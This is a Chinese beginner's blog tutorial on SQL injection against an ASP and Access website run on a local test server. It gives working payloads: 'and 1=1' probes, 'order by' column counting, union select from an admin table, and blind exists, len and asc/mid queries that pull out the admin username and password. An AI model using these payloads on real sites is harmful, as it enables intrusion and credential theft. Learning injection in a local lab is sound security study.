实战初级SQL注入-access篇

这是我的第一篇文章,如有不好的地方还请多多担待,才开始接触网络安全,小白一个。

学习过程中遇到了非常多的问题,过程中发现很少有关于纯新手的文章,入门很难,所以我写了这篇文章,带大家能够更简单的理解网络世界。

话简单说,接下来是我看小迪渗透视频所学到的,我整理了一下,一步一步很详细,基本谁都能看懂。

搭建虚拟机,安装镜像就跳过了,网上也说的很明白,至于特定的软件安装,百度也有详细的解决办法。

SQL注入个人理解应该从数据库类型入手,平常要多多了解各种数据库的类型、结构、语句等等。

一、基本环境

操作系统 windows 2k3

脚本格式 asp

数据库 access

所用的asp服务器为 小旋风asp服务器,百度就有

用到的软件有 notepad++,Microsoft Access

本机网站示例 http://127.0.0.1:8001/0/index.asp

网站可以在下载中搜索:asp+access注入网站源码,进行下载,或者百度云链接:https://pan.baidu.com/s/1ghletQb 密码:w7y3

二、认识access数据库

把上面提到的资源包解压后放到服务器的网站文件夹里,我的是放在安装目录下的wwwroot下(每个服务器可能不一样,视情况而定),然后进入网站http://localhost:8001/0                   8001是端口号,后面的是网站目录。

直接进入存在注入的地方http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513

如图

实战初级SQL注入-access篇

再用notepad++打开网站目录下的一个文件  .../0/Production\PRODUCT_DETAIL.asp

实战初级SQL注入-access篇

可以看到这里的代码的作用,如上图

其中文件包含conn.asp在 ...\0\Include_files\conn.asp

打开如下

实战初级SQL注入-access篇

包含即意味着执行,即为跳转到另一个文件程序执行

回到PRODUCT_DETAIL.asp文件,其中sql=”select * from product where id=”&id为查询数据库语句

比如在网址为http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513时该语句实际执行为

sql=”select * from product where id=”1513

该语句中product为数据库的表名,该数据库所在的目录为  ...\0\Database\#Data.mdb(需用Microsoft Access打开)其中有一个数据库为product

实战初级SQL注入-access篇

点击打开即可看到数据内容ID,名称,图片目录等等,如下图

图为id=1513所对应的数据内容(这里列名为ID

实战初级SQL注入-access篇

三、注入原理

这里讲的是数学逻辑运算:与或非(and or xor

真与真返回真

真且假返回假

真或真返回真

其中要用到的是第一个:真与真返回真

经典命令 and 1=1,两边同时成立则返回数据正常,而 and 1=2则返回错误

四、注入渗透

输入网址http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1

实战初级SQL注入-access篇

页面显示正常(地址栏里的空格被转码为%20,没关系的)

而输入网址http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=22结果如下

实战初级SQL注入-access篇

出现异常,说明存在sql注入漏洞

或者可以在http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513随意加一些东西,都会出错

实战初级SQL注入-access篇

报错说明没有对输入进行过滤,语句可能能被数据库执行,所以有可能存在sql注入漏洞

然后实际操作验证与尝试。(这里的可能随后再说)

方法一union(兼容性较差,较少运用)(绿色为举例数据)

1.猜字段(数据库项目的数量或者说长度)

order by 22

网页正确显示则猜解正确

这里的22就是说数据库列的项数目为22个,如果改为23就会发生报错

由于access数据库的结构为表名-列名-内容数据,想要得到内容数据需要一层层分析(信息收集时准备的数据库类型并搞明白该数据库的结构,并理清思路)

2.然后猜表名

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(这里的admin是最普通的站长用户名,一般来说不会用这个,因为比较危险,所以需要根据实际情况根据社工去猜测,或者用一些字典工具去猜测)

 实战初级SQL注入-access篇

3猜内容(根据上面的反馈)

如图示说明在315的位置有项目存在数据内容,更改并猜测

这里把3改为user_name

 实战初级SQL注入-access篇

再把15改为password

 实战初级SQL注入-access篇

显示出来的即为用户名与密码了

与实际相符

 实战初级SQL注入-access篇

方法二:exists

1.查表:and exists(select*from admin)

 实战初级SQL注入-access篇

显示正常则查表正确

2.查列:and exists(select user_name from admin)

依然正确显示则查询正确

3.查数据:

  确定长度:

and(select top 1 len(user_name)from admin)=5

查询过程中用and(select top 1 len(user_name)from admin)>5来猜测

还有and(select top 1 len(pass_word)from admin)=5

  确定asc数据(ASCII编码):

and (select top 1 asc(mid(user_name,1,1)) from admin)=97 判断第一位

and (select top 1 asc(mid(user_name,2,1)) from admin)=97 判断第二位

and (select top 1 asc(mid(user_name,3,1)) from admin)=97 判断第三位

......

然后根据ASCII表(请自行百度)把数字转换成正常的数据即可